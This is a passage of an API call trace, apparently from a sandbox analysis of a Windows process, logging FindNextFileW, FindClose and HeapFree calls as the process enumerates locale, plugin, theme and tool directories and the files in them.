	[0168.700] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0168.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.701] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0168.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.729] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0168.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.762] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0168.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.763] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0168.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.763] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0168.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.769] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0168.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.844] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0168.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.964] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0168.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.964] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0168.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.964] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0168.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.964] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0168.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.965] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0168.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.965] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0168.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.965] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0168.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.965] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0168.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.967] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0168.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.968] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0168.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.968] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0168.968] FindClose (in: hFindFile=0x394b4f8 | out: hFindFile=0x394b4f8) returned 1
	[0168.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0168.968] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0168.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0168.970] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0168.970] FindClose (in: hFindFile=0x394b9f8 | out: hFindFile=0x394b9f8) returned 1
	[0168.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.970] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0168.970] FindClose (in: hFindFile=0x394b778 | out: hFindFile=0x394b778) returned 1
	[0168.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.970] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0168.970] FindClose (in: hFindFile=0x394b9b8 | out: hFindFile=0x394b9b8) returned 1
	[0168.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0168.973] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fss", cAlternateFileName="")) returned 1
	[0169.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0169.022] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x250574b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="img", cAlternateFileName="")) returned 1
	[0169.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0169.674] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0169.674] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0169.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0169.675] FindNextFileW (in: hFindFile=0x394bcb8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 1
	[0169.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5610068 | out: hHeap=0x4f0000) returned 1
	[0169.961] FindNextFileW (in: hFindFile=0x394bbb8, lpFindFileData=0x2fbda30 | out: lpFindFileData=0x2fbda30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0169.961] FindClose (in: hFindFile=0x394bbb8 | out: hFindFile=0x394bbb8) returned 1
	[0169.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0169.962] FindNextFileW (in: hFindFile=0x394bab8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0169.962] FindClose (in: hFindFile=0x394bab8 | out: hFindFile=0x394bab8) returned 1
	[0169.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0169.962] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="check.cur", cAlternateFileName="")) returned 1
	[0170.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0170.016] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f5618, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x26f5618, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2767d0d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0
	[0170.016] FindClose (in: hFindFile=0x394b8f8 | out: hFindFile=0x394b8f8) returned 1
	[0170.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0170.016] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="x.cur", cAlternateFileName="")) returned 1
	[0170.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0170.017] FindNextFileW (in: hFindFile=0x394bcb8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 0
	[0170.017] FindClose (in: hFindFile=0x394bcb8 | out: hFindFile=0x394bcb8) returned 1
	[0170.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0170.019] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0170.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.085] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0170.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.087] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0170.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0170.090] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0170.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
